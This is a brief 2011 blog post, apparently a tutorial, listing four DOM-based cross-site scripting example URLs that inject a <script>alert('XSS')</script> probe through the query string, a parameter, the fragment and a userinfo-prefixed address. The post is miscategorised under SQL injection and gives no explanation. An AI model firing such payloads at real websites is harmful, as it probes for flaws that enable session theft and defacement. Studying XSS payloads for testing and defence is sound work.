DOM Based Cross Site Scripting

31 Dec 2011 Leave a Comment

by Andi Wijaya in SQL Injection Tags: xss

DOM XSS Example 1:
http://evilsql.com/main/page5.php?<script>alert(‘XSS’)</script> 

DOM XSS Example 2:
http://evilsql.com/main/page5.php?name=<script>alert(‘XSS’)</script> 

DOM XSS Example 3:
http://evilsql.com/main/page5.php?#<script>alert(‘XSS’)</script> 

DOM XSS Example 4:
http://nobody@evilsql.com/main/page5.php?<script>alert(‘XSS’)</script> 

DOM Echo:

http://www.evilsql.com/main/page5.php

Advertisement